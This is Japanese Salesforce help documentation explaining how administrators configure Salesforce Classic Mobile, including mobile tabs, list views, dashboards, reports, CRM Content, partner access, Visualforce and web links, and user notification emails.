有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile タ
ブをカスタマイズする
• 「モバイル設定の管

理」権限

モバイル設定ごとに、Salesforce Classic Mobile アプリケーションに表示されるタブ
を選択して、タブの順序を定義できます。モバイル設定で使用可能なタブは次
のとおりです。
• 標準オブジェクトタブ
• カスタムオブジェクトタブ
• Salesforce Classic Mobile に対して有効になっている Visualforce および Web タブ

警告: すべての Web サイトとVisualforce機能がモバイルデバイスでサポー
トされているわけではありません。Visualforceまたは Web タブをSalesforce

Classic Mobile アプリケーションに対して有効にする前に、モバイルで使
いやすいページを作成するためのベストプラクティスを慎重に確認して
ください。

デフォルトでは、Salesforce Classic Mobile アプリケーションのタブは Salesforce のフ
ルサイトと同様に機能します。つまり、オブジェクトのタブが Salesforce で非表
示であれば、Salesforce Classic Mobile でも非表示になります。

メモ: モバイルタブをカスタマイズすると、モバイル設定用に選択したタ
ブは、設定に追加されていなくても、ユーザのモバイルデバイスに送信さ
れます。タブはデバイスに送信されますが、ユーザにそのタブを参照する
権限がある場合にのみ、Salesforce Classic Mobile アプリケーション内に表示さ
れます。

オブジェクトレコードがデバイスに送信されていても、Salesforce Classic Mobile で
オブジェクトのタブを非表示にしたい場合も考えられます。Salesforce Classic Mobile

アプリケーションは、タブを並べて表示する画面領域がはるかに小さいため、
システム管理者がデバイスのタブの数を減らす場合があります。また、カスタ
ムオブジェクトが標準オブジェクトに関連付けられていて、ユーザが親オブジェ
クトレコードからカスタムオブジェクトレコードにアクセスする場合もありま
す。このような場合は、カスタムオブジェクトをモバイル化しても、タブは非
表示にします。
モバイル設定用にタブを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択します。次に、モバイル設定の名前を
クリックします。

2. 初めてモバイルタブを定義する場合は、[モバイルタブ] 関連リストで[タブの
カスタマイズ] をクリックします。モバイルタブがすでに設定されている場
合は、[編集] をクリックします。

3. [選択可能なタブ] リストからタブを選択し、[追加] 矢印をクリックして、モバイル設定に追加します。
4. [選択されたタブ] リストでタブを選択し、[上へ] および [下へ] 矢印をクリックして、Salesforce Classic Mobile

アプリケーションに表示する順番にタブを並べます。
5. [保存] をクリックします。
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メモ:  iPhone ユーザは Salesforce Classic Mobileアプリケーションでのタブ順序をカスタマイズできます。ユー
ザがタブ順序をカスタマイズすると、管理者によるモバイル設定のタブ順序の変更はアプリケーション
で無視され、新たにモバイル化されたタブはユーザの既存のタブの下に追加されます。

関連トピック:

Salesforce Classic Mobile タブの管理
Salesforce Classic Mobile 向けの Web タブと Visualforce タブの有効化
Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理

Salesforce Classic Mobile 向けの Web タブと Visualforce タブの有効化

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

Web タブと Visualforceタブを Salesforce Classic Mobileアプリケーションで使用可能に
できます。Web タブまたは Visualforce タブを作成するときに、タブプロパティを
編集し、[Salesforce Classic Mobile 準備完了] チェックボックスをオン
にして、モバイルデバイスで Web ページまたは Visualforceページが表示され、正
しく機能できるようにします。このチェックボックスをオンにすると、Salesforce

Classic Mobile モバイル設定で使用可能なタブのリストにそのタブが追加されま
す。
ただし、ほとんどのモバイルブラウザには、表示サイズ、スクリプト、プロセッ
サの速度、およびネットワーク待ち時間に関して、技術的制限があります。Web

と Visualforceページをモバイル化する前に、次の考慮事項を確認して、モバイル
ブラウザとの互換性を確認してください。

モバイル Web タブの考慮事項
Salesforce Classic Mobile アプリケーションで使用する Web タブを定義するときは、
次の点に留意してください。
• Web タブをモバイル化する機能は、iPhone にのみ使用できます。Web タブを

モバイル化する場合、Android ユーザは Salesforce Classic Mobile でタブを表示で
きません。

• タブの種類は URL である必要があります。モバイルアプリケーションで Sコ
ントロールは実行できません。

• 一部の Web ページには JavaScript および Flash が含まれますが、すべてのモバ
イルブラウザでこれらがサポートされるわけではありません。
– Apple 社の Safari ブラウザでは、JavaScript はサポートされますが、Flash はサ

ポートされません。
• Web タブをモバイル化する前に、組織のモバイルデバイスのいずれかで、

ターゲット URL に移動して、モバイルブラウザで意図したとおりに機能するかを確認します。iPhone など、
組織のデバイス一覧にオペレーティングシステムが異なるデバイスが含まれている場合は、必ずそれぞれ
のデバイスでテストしてください。モバイルブラウザから Web ページで必要なタスクを達成できない場合
は、Web タブをモバイル化しないでください。
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Visualforce Mobile タブの考慮事項
モバイル Visualforce タブを定義するときは、次の点に留意してください。
• Visualforce Mobileは iPhone でのみ使用できます。Visualforceタブをモバイル化する場合、Android ユーザはSalesforce

Classic Mobile でタブを表示できません。
• モバイルブラウザの表示サイズは限られているため、Visualforce ページを再設計してモバイルユーザ用に最

適化することをお勧めします。
– <apex:page> タグの sidebar および showHeader 属性を false に設定します。電話の画面は小さく

て処理能力は限られているため、ページからタブヘッダーとサイドバーを取り除くことは重要です。
– <apex:page>タグの standardStylesheets属性を falseに設定します。標準Salesforceスタイルシー

トによって、デバイスでのページの読み込みが遅くなります。ページにスタイルシートを追加する場
合、<apex:page> コンポーネントのすぐ下に <style> セクションを含めるのが最良の方法です。

– <apex:pageBlockSection> コンポーネントの columns 属性に 1 を設定します。モバイルデバイス
の画面には 2 列を表示するスペースがないため、1 列のレイアウトを指定して項目が不自然に改行され
ないようにします。

• Salesforce Classic Mobile アプリケーションにスプラッシュページは表示されません。
• Salesforce Classic Mobileアプリケーションでは、Visualforceページはタブに埋め込まれます。そのため、モバイ

ル Visualforce ページでのナビゲーションにタブを使用することは避ける必要があります。
• Visualforce ページでモバイルブラウザが JavaScript をサポートしている場合でも、JavaScript の使用は最小限に

してください。モバイルデバイスのネットワーク接続は通常遅いため、ページで実行するスクリプトが多
すぎると、ユーザの操作性が低下します。モバイル Visualforceページでの JavaScript の量を最小限に抑えるに
は、ページの大部分を HTML を使用して構築します。

• すべての Visualforceページには、そのページに JavaScript コードが使用されていない場合も JavaScript が含まれ
ます。

• カスタムコントローラでユーザエージェントの検査を実行して、複数のデバイスをサポートできます。こ
れを行うには、現在のページ参照で getHeaders() メソッドの該当する結果を検査します。

関連トピック:

Salesforce Classic Mobile タブの管理
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile 用の Web ページと Visualforce Mobile ページへのリンクの作成
Salesforce Classic Mobile 設定へのタブの割り当て
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Salesforce Classic Mobile のリストビューの作成

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile デ
バイスおよびユーザを表
示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile カ
スタムビューを管理する
• 「モバイル設定の管

理」権限

Salesforce Classic Mobileユーザ向けにカスタムリストビューを作成できます。Salesforce

Classic Mobile向けのカスタムリストビューは、モバイルビューとも呼ばれ、Salesforce

カスタムビューとは次の点が異なります。
• システム管理者がモバイル設定ごとにモバイルビューを設定します。ビュー

はその設定に割り当てられたすべてのユーザが使用でき、システム管理者は
設定内の特定のユーザグループに表示を制限することはできません。モバイ
ル設定のモバイル化されたオブジェクトごとに、最大 10 個のカスタムビュー
を作成できます。

• ユーザはモバイルビューを、[すべてのレコード] や [私のレコード] で絞り込
むことはできません。ビューは、所有者に関係なくデバイスにローカル保管
されているすべてのレコードに適用されますが、検索条件で追加の項目を使
用することで所有者による絞り込みができます。

• モバイルビューは、検索条件ロジックをサポートしていません。
• モバイルビューの表示は 2 列までです。
• ユーザは、モバイルビューを最大 2 項目で昇順または降順で並び替えること

ができます。
モバイル設定ごとに、オブジェクトあたり最大 10 個のカスタムビューを定義で
きます。これらのビューは、該当する設定に割り当てられたユーザのデバイス
に転送されます。Salesforce Classic Mobile のカスタムビューを作成する手順は、次
のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択します。次に、モバイル設定の名前を
クリックします。モバイル設定がない場合は、モバイル設定の作成が必要に
なる場合があります。

2. [モバイルビュー] 関連リストが表示されるまでスクロールダウンします。
3. [オブジェクトの選択] ドロップダウンリストからオブジェクトを選択して、

[新規モバイルビュー] をクリックします。モバイル設定のデータセットに含
まれるオブジェクトのみドロップダウンリストに表示されます。ユーザオブ
ジェクトのモバイルビューを作成することはできません。

4. ビュー名を入力します。
モバイルデバイス上の表示スペースが限られているため、モバイルビュー名
は最大 30 文字で入力します。

5. [検索条件の指定] セクションで、選択した項目を一致させる条件を入力しま
す (「金額 > 100,000」など)。
a. 最初のドロップダウンリストから項目を選択します。

メモ: ビューは、モバイルページレイアウトから除外された項目、またはすべてのプロファイルと
権限セットで非表示になっている項目に基づいては作成できません。

b. 検索条件の演算子を選択します。
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c. 3 番目の項目に、一致させる値を入力します。

警告: モバイルビューの検索条件値について、次の点に注意してください。
• 現在のユーザを参照するには、検索条件の値として $User.ID 差し込み項目を使用します。検

索条件としてユーザ名を入力することはできません。
• 検索条件に使用できるのは特殊な日付値のみで、実際の日付は使用できません。
• 検索条件には会計日付項目の特別値は使用できません。

d. 入力したすべての条件に一致する必要がある場合には、[すべて一致]を選択します。入力したいずれか
の条件に一致する必要がある場合には、[いずれか一致]を選択します。モバイルカスタムビューは、詳
細オプションの検索条件をサポートしていません。

6. [表示する項目を選択] セクションで、表示列として使用する項目を選択します。
デフォルト項目が自動的に選択されます。モバイルカスタムビューには、異なる 2 項目まで表示項目を選
択できます。

7. [並び替え順の定義] セクションで、必要に応じてビューの並び替え順序の 1 番目と 2 番目を設定します。
a. [並び替えの基準] ドロップダウンリストから項目を選択します。オブジェクトのモバイルページレイア

ウトから除外されている項目によって並び替えることもできます。
b. 並び替え順を [昇順] または [降順] に設定します。

8. [保存] をクリックします。

関連トピック:

Salesforce Classic Mobile ビューの管理
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile デバイスの管理
Salesforce Classic Mobile の設定
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Mobile Dashboards for iPad アプリケーションの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

モバイル設定を表示する
• 「設定・定義を参照す

る」

ダッシュボードをモバイ
ル化する
• 「モバイル設定の管

理」

重要:  Mobile Dashboards for iPad アプリケーションのサポートは Summer '15 を
もって終了しました。引き続きアプリケーションは使用できますが、発生
する問題に対するバグ修正や機能強化といった形で Salesforce がサポートを
提供することはありません。新しい Salesforce モバイル環境である Salesforce1

アプリケーションへの移行については、Salesforce 管理者にご相談ください。
Salesforce Classic Mobile で [ダッシュボード] タブを使用可能にするには、モバイル
設定用のタブに [ダッシュボード] タブを追加します。モバイルダッシュボード
を使用すると、ユーザは、外出先からでも会社の経営指標や重要業績評価指標
(KPI) を確認できます。
モバイルダッシュボードについて、次の点に注意してください。
• モバイルアプリケーション内で [ダッシュボード] タブをクリックすると、組

み込みのブラウザが起動し、ダッシュボードが表示されます。
• 画面サイズに制限があるため、モバイルダッシュボードは 1 列で表示されま

す。
• カスタムレポートの詳細へのリンクは、モバイルダッシュボードでは無効に

なります。
• Salesforce Classic Mobileの [ダッシュボード] タブにユーザが初めてアクセスする

と、モバイルアプリケーションによって、ユーザが前回Salesforceに表示して
いたダッシュボードが要求されます。携帯電話または WiFi の無線信号の強度
によっては、ページにダッシュボードが表示されるまでにしばらく時間がか
かることがあります。

• ダッシュボードは、モバイルアプリケーション内で自動的に更新されることはありません。ダッシュボー
ドの更新を要求するには、[更新] ボタンをクリックします。

• ユーザは、モバイルアプリケーション内でオフライン操作が可能です。ワイヤレス接続のない場所では、
前回表示したダッシュボードを参照することはできますが、ダッシュボードを更新したり、別のダッシュ
ボードを選択したりすることはできません。

• モバイルダッシュボードを使用するには、BlackBerry 4.5 以上のオペレーティングシステムが必要です。モバ
イルダッシュボードには、バージョン 4.3 との互換性がありますが、ダッシュボードの表が適切に表示され
ない場合があります。

• BlackBerry 管理者は、BlackBerry Enterprise Server のダウンロードサイズ設定が、デバイスに保存できるダッシュ
ボードのデータ量に影響を与えます。ダウンロードサイズ設定が適切であることを確認し、モバイルユー
ザに配布する前にダッシュボードを必ずテストしてください。

メモ: 現在、ダッシュボードは、BlackBerry および iPhone のクライアントアプリケーションでのみ使用でき
ます。

モバイルダッシュボードを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「モバイルダッシュボード」と入力し、[モバイルダッシュボード設

定] を選択します。次に、モバイル設定の名前をクリックします。
2. 初めてモバイルタブを定義する場合は、[モバイルタブ] 関連リストで [タブのカスタマイズ] をクリックし

ます。モバイルタブがすでに設定されている場合は、[編集] をクリックします。
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3. [選択可能なタブ] リストから [ダッシュボード]を選択し、[追加]矢印をクリックして、モバイル設定に追加
します。[選択可能なタブ] リストには、標準オブジェクトタブとカスタムオブジェクトタブが含まれます。
Web タブおよび Visualforce タブを含めることもできます。

警告: モバイル設定でタブをカスタマイズしていない場合は、[ダッシュボード] タブだけでなく、モバ
イルアプリケーションに表示する必要があるすべてのタブを選択する必要があります。

4. [選択されたタブ] リストで [ダッシュボード] タブを選択し、[上へ]と [下へ]の矢印をクリックして、モバイ
ルアプリケーション内での [ダッシュボード] タブの表示位置を指定します。

5. [保存] をクリックします。

関連トピック:

Salesforce Classic Mobile の設定
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Salesforce Classic Mobile でのレポートの有効化

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

公開レポートフォルダを
作成、編集、および削除
する
• 「公開レポートの管

理」

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile アプリケーションでレポートを有効にする手順は、次のと
おりです。
1. Salesforceに Mobile Reports フォルダを作成します。フルサイトのレポートのホー

ムページから、[新規フォルダの作成] をクリックします。
2. [レポートフォルダ] 項目で、「Mobile Reports」と入力します。

このフォルダ名を [Mobile Reports] にしないと、サーバはモバイルデバ
イスにレポートを読み込みません。名前の入力に間違いがないかどうかをよ
く確認してから、フォルダを保存してください。また、Salesforce では、フォ
ルダ名が一意である必要はありません。Salesforce Classic Mobileユーザは、フォ
ルダの表示オプションによるアクセス制限がない限り、「Mobile Reports」と
いう名前のフォルダに保存されているレポートはすべて参照できます。

3. [公開フォルダのアクセス権] を選択します。このオプションは、モバイル
ユーザがレポートを実行する機能には影響しません。

4. 必要に応じて未整理レポートを選択し、[追加]をクリックして [Mobile Reports]

フォルダに保存します。また、保存した後でフォルダにレポートを追加する
こともできます。

5. フォルダの利用者オプションを選択します。
• [このフォルダはすべてのユーザがアクセス可能です] では、組織内のすべ

てのユーザが各自のデバイスからモバイルレポート一覧を確認できます。
• [このフォルダは次のグループに含まれるユーザのみアクセス可能です] で

は、指定したユーザグループのみがフォルダにアクセスできます。
モバイルレポートを、自分自身も含めたすべてのユーザに表示しない場
合以外は、[Mobile Reports] フォルダを非公開にはしないでくださ
い。

6. [保存] をクリックします。
7. そのレポートを [Mobile Reports] フォルダに追加します。レポートのホームペー

ジでレポートの名前をクリックしてから、[別名で保存] をクリックして、
[Mobile Reports] フォルダにレポートを保存します。
レポートを保存した後、オプションを編集して、レポートをモバイルデバイ
スで参照しやすくすることができます。たとえば、列数を減らしたり、検索
条件を追加したりできます。

8. モバイル設定に [レポート] タブを追加します。[設定] から、[クイック検索]

ボックスに「Salesforce Classic 設定」と入力し、[Salesforce Classic 設定]

を選択します。次に、モバイル設定の名前をクリックします。
9. 初めてモバイルタブを定義する場合は、[モバイルタブ] 関連リストで [タブのカスタマイズ] をクリックし

ます。モバイルタブがすでに設定されている場合は、[編集] をクリックします。
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10. [選択可能なタブ] リストから [レポート] を選択し、[追加] 矢印をクリックして、モバイル設定に追加しま
す。[選択可能なタブ] リストには、標準オブジェクトタブとカスタムオブジェクトタブが含まれます。Web

タブおよび Visualforce タブを含めることもできます。

警告: モバイル設定のタブをカスタマイズしていない場合は、[レポート] タブだけでなく、Salesforce

Classic Mobile に表示する必要があるすべてのタブを選択する必要があります。

11. [選択されたタブ] リストで [レポート] タブを選択し、[上へ]と [下へ]の矢印をクリックして、Salesforce Classic

Mobile アプリケーション内での [レポート] タブの表示位置を指定します。
12. [保存] をクリックします。

メモ: 現在、Salesforce Classic Mobile のレポートは、Android デバイスまたは iPhone デバイスでは使用できま
せん。

関連トピック:

Salesforce Classic Mobile の設定
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Salesforce Classic Mobile 用の Salesforce CRM Content の設定

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile
データセットを作成、変
更、または削除する
• 「モバイル設定の管

理」

Salesforce CRM Content が Salesforce Classic Mobile で実装される方法について、次の点
に留意してください。
• コンテンツレコード情報はデバイスに同期されますが、コンテンツレコード

に関連付けられたファイルは同期されません。これにより、ファイルが大き
すぎてモバイルデバイスにダウンロードできない場合でも、ユーザがアプリ
ケーションからコンテンツを配信できます。

• ユーザは、アプリケーションで特定のコンテンツを検索できません。[コンテ
ンツ] タブに表示されたコンテンツのみ共有できます。このコンテンツは、
割り当てられたモバイル設定に基づいてデバイスに自動的に同期されます。

• ユーザは、アプリケーションで登録済みコンテンツのリストを表示できませ
ん。また、特定のライブラリに基づいて [コンテンツ] タブでレコードのリス
トを絞り込むこともできません。

• ユーザはアプリケーションでコンテンツのプレビューおよび共有が可能です
が、コンテンツレコードに関連付けられたファイルの更新はできません。必
要な権限がある場合は、コンテンツの詳細ページの項目を編集できます。

• コンテンツをプレビューおよび配信するには、ユーザにデータ接続が必要で
す。データ接続がない場合、ユーザはコンテンツの詳細ページの参照のみが
可能です。

• Salesforce Classic Mobile のコンテンツは、iPhone デバイスでのみサポートされま
す。

• コンテンツオブジェクトのモバイル権限はブロックできません。現在、
Salesforce Classic Mobile のコンテンツオブジェクトは参照のみです。

• コンテンツオブジェクトのモバイルページレイアウトは編集できません。ア
プリケーションのコンテンツの詳細ページは、いくつかの項目のみを表示す
るようにハードコードされています。

Salesforce Classic Mobile 設定のコンテンツを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce 設定」と入力し、

[Salesforce Classic 設定] を選択して、モバイル設定の名前をクリックします。
2. [データセット] 関連リストで、[編集] をクリックします。
3. [追加...] をクリックします。
4. ポップアップウィンドウで [コンテンツ] を選択し、[OK] をクリックします。
5. 項目の絞り込みを使用し、同期させるコンテンツレコードを指定します。

ユーザは Salesforce Classic Mobile アプリケーションでコンテンツを検索できな
いため、重要なコンテンツをデバイスで使用可能にする絞り込みの設定が不
可欠です。ライブラリまたは登録に基づいて絞り込みを作成することはでき
ませんが、次のオプションで有用な絞り込み条件を設定できます。
• 日付: [最終更新日]、[コンテンツ更新日]、または [作成日] 項目で絞り込みます。最近更新されたコン

テンツレコードを確実に同期させるには、「過去 90 日間」や「過去 180 日間」などの特殊な日付値を使
用します。
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• 所有者: 組織で特定の人物がコンテンツの公開を担当する場合、著者で絞り込みます。
• ファイルの種類: 特定のドキュメントタイプで絞り込みます。たとえば、商談チームは多くの場合、プ

レゼンテーション資料または PDF ドキュメントに関心があります。
• カスタム項目: コンテンツを分類するためにカスタムコンテンツ項目を作成している場合、カスタム項

目で絞り込みます。たとえば、選択リスト値の [機能の使用方法] 項目を作成した場合、[機能の使用方
法] が「セールス」に一致する絞り込み条件を設定できます。

6. 必要に応じて、[レコードの上限数を設定] で 2 番目のラジオボタンを選択し、この設定によりモバイルデバ
イスに転送できるコンテンツレコードの最大数を入力することで、コンテンツレコードがモバイルデバイ
ス上のすべてのメモリを使い切ってしまうことを防ぎます。[並び替えの基準] および [並び替え] ドロップダ
ウンリストを使用して、モバイル設定のデータサイズの制限を超えた場合に同期されるレコードを指定し
ます。

7. [完了] をクリックします。

関連トピック:

Salesforce Classic Mobile の設定
Salesforce CRM Content の設定
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パートナーユーザの Salesforce Classic Mobile へのアクセスの設定

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile の
設定、データセット、モ
バイルデバイス、および
ユーザを表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile の
設定およびデータセット
の作成、変更、または削
除、モバイル設定のテス
ト、モバイルオブジェク
トプロパティの編集、お
よびモバイルカスタム
ビューの管理を行う
• 「モバイル設定の管

理」

メモ: Summer '13 以降、 パートナーポータルを現在使用していない組織は、
それを使用できません。既存の組織は、今後も継続してフルアクセスでき
ます。パートナーポータルを持っていないが、レコードや情報をパートナー
と簡単に共有したい場合は、コミュニティを試してください。
パートナーポータルを使用している既存の組織は、パートナーポータルを
使用し続けることも、コミュニティに移行することもできます。詳細は、
Salesforce アカウントエグゼクティブにお問い合わせください。

パートナーユーザは、Salesforce Classic Mobile アプリケーションを使用して、モバ
イルデバイスでパートナーポータルデータにアクセスできるようになります。
パートナーユーザの Salesforce Classic Mobile へのアクセス設定のヒント
• パートナーユーザのためにSalesforce Classic Mobileを設定する前に、パートナー

ユーザ取引先を設定し、Salesforce Classic Mobileを使用するパートナーポータル
ユーザそれぞれのモバイルライセンスを購入する必要があります。パート
ナーユーザが Salesforce Classic Mobile を使用できるようにするためには、パー
トナーユーザプロファイルを、少なくとも 1 つの有効なパートナーポータル
に割り当てておく必要があります。ユーザプロファイルが複数のパートナー
ポータルに割り当てられている場合、Salesforce Classic Mobileを使用したアクセ
スが可能になるのは、最初に割り当てられたパートナーポータルのみです。

• カスタムモバイルリストビューは、パートナーポータルのリストビューには
影響しません。

• Salesforce Classic Mobileアプリケーションで User データセットを使用可能にする
と、パートナーがパートナー取引先ユーザとすべての社内ユーザにオブジェ
クトを割り当てることができます。User データセットを使用可能にしない場
合、パートナーがオブジェクトを割り当てられるのは、モバイルデバイスで
使用可能なレコードに関連付けられた社内ユーザまたはパートナー取引先
ユーザのみです。

関連トピック:

Salesforce Classic Mobile の設定
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Salesforce Classic Mobile 用の Web ページと Visualforce Mobile ページへのリンクの作成

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

Salesforce Classic Mobile アプリケーション、Visualforce Mobile、および外部 Web サイ
トのインテグレーションを向上するために、必要に応じてネイティブのSalesforce

レコードから Visualforce Mobile ページまたは外部 Web サイトへのリンクを作成で
きます。リンクを作成するには、標準オブジェクトまたはカスタムオブジェク
トにテキスト数式項目を作成します。項目を Salesforce Classic Mobile アプリケー
ションに表示するには、ページレイアウトに表示されるようにする必要があり
ます。ページレイアウトの下部の「モバイルリンク」とラベル付けされた個別
セクションに、すべての埋め込みリンクを設定することをお勧めします。現在、
Salesforce のこれらのリンクを非表示にする方法はありませんが、リンクが目に
付かないようにするためにセクションを折りたたむことができます。
1. 該当するオブジェクトの項目エリアに移動します。
2. ページの項目セクションにある [新規] をクリックします。
3. [数式] を選択し、[次へ] をクリックします。
4. 項目ラベルを入力します。

入力した項目ラベルに従って、項目名が自動的に入力されます。

5. [テキスト] を選択し、[次へ] をクリックします。
6. 数式エディタで、カスタム Visualforce ページまたは外部 Web サイトへのリン

クを作成します。
• Visualforce リンクを作成するには、

「"visualforce:///apex/PageName"」と入力し、「PageName」を
Visualforceページの名前と置き換えます。?contactid=" & Id"など、パ
ラメータを文字列に追加すると、クライアントアプリケーションのレコー
ドの情報を Visualforce ページに渡すことができます。

• Web リンクを作成するには、"weblink:http://www.salesforce.com"

のように、リンク先の URL の前に「weblink:」と入力します。パラメー
タを文字列に追加すると、クライアントアプリケーションのレコードの
情報を Web ページに渡すことができます。たとえば、次の Web リンクは、
取引先責任者レコードからソーシャルネットワーキングサイトを起動し、
取引先責任者を検索します。

"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName&
"&filter=name&commit=Search"

メモ: クライアントアプリケーションは、すべてのパラメータを持つ Visualforce または Web リンク
を埋め込みブラウザへ渡します。パラメータの解釈は、Web サイトまたはVisualforce Mobileページに
よって異なります。リンクで渡すパラメータを使用して Visualforce Mobile ページを構築してくださ
い。

7. [次へ] をクリックします。
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8. 項目レベルのセキュリティを設定して、特定のプロファイルに対してその項目をアクセス可能にするか参
照のみにするかを決定し、[次へ] をクリックします。

9. 項目を表示するページレイアウトを選択します。次のステップで、レイアウトをカスタマイズして、ペー
ジの項目の場所を変更します。

10. 変更内容を保存します。
11. オブジェクトのページレイアウトを編集します。ページレイアウトを変更するオブジェクトの管理設定か

ら、[ページレイアウト] に移動します。
12. セクション要素をパレットからページレイアウトにドラッグし、既存のセクションの下にドロップします。
13. [セクション名] 項目で、「Mobile Links」を入力します。
14. [編集ページ] オプションをオフにします。
15. 1 列レイアウトを選択し、[OK] をクリックします。
16. 新しいテキスト数式項目を現在の場所から新しいモバイルリンクセクションにドラッグします。
17. 変更内容を保存します。

関連トピック:

Salesforce Classic Mobile の設定
オブジェクト管理設定の検索
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Salesforce Classic Mobile の可用性に関するユーザへの通知

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

HTML メールテンプレート
を作成する
• 「HTML テンプレート

の編集」

ユーザにメールを一括送
信する
• 「一括メール送信」

および

「ユーザの管理」

Salesforce Classic Mobileアプリケーションをユーザにリリースする準備ができたら、
アプリケーションが使用可能であることをメールで通知し、インストールの手
順を説明します。メールは、Outlook など会社のメールアプリケーションを使用
して送信するか、Salesforce から一括して送信できます。どちらの場合でも、ダ
ウンロードを開始する URL を含めてください。
• Android ユーザの場合、ダウンロード URL は mobile.salesforce.comです。

このリンクは、最初のダウンロード、後で行うアップグレードのいずれの場
合でも同じです。

• iPhone のダウンロード URL は、iTunes から入手できます。iTunes を開き、[iTunes

Store]をクリックして Salesforce Classic Mobileを検索します。アプリケーション
アイコンをクリックすると、そのアプリケーションの詳細を参照できます。
iTunes ウィンドウの上部に、App Store でのアプリケーションの位置を示すブ
レッドクラムリスト ([App Store] > [ビジネス] > [Salesforce Classic Mobile]) が表
示されます。テキストエディタまたは文書処理プログラムにこのパスをド
ラッグアンドドロップして、アプリケーションのダウンロード URL を表示し
ます。

Salesforce から Salesforce Classic Mobile ユーザに一括してメールを送信する手順は、
次のとおりです。
1. Salesforce Classic Mobileの可用性に関してユーザに知らせるメールテンプレート

を作成します。個人設定から、[クイック検索] ボックスに「テンプレート」
と入力し、[私のテンプレート] または [メールテンプレート] (表示された方)

を選択します。必要に応じて、アップグレード通知用のメールテンプレート
を別に作成することもできます。テンプレートにダウンロードリンクを含め
ます。

2. [一括メール送信] ページに、Salesforce Classic Mobile ユーザのみを表示するカス
タムビューを作成します。

3. 作成したカスタムビューを使用して、Salesforce Classic Mobileユーザに対して一
括メール送信を行います。[設定] から、[クイック検索] ボックスに「ユーザ
の一括メール送信」と入力し、[ユーザの一括メール送信] を選択します。

関連トピック:

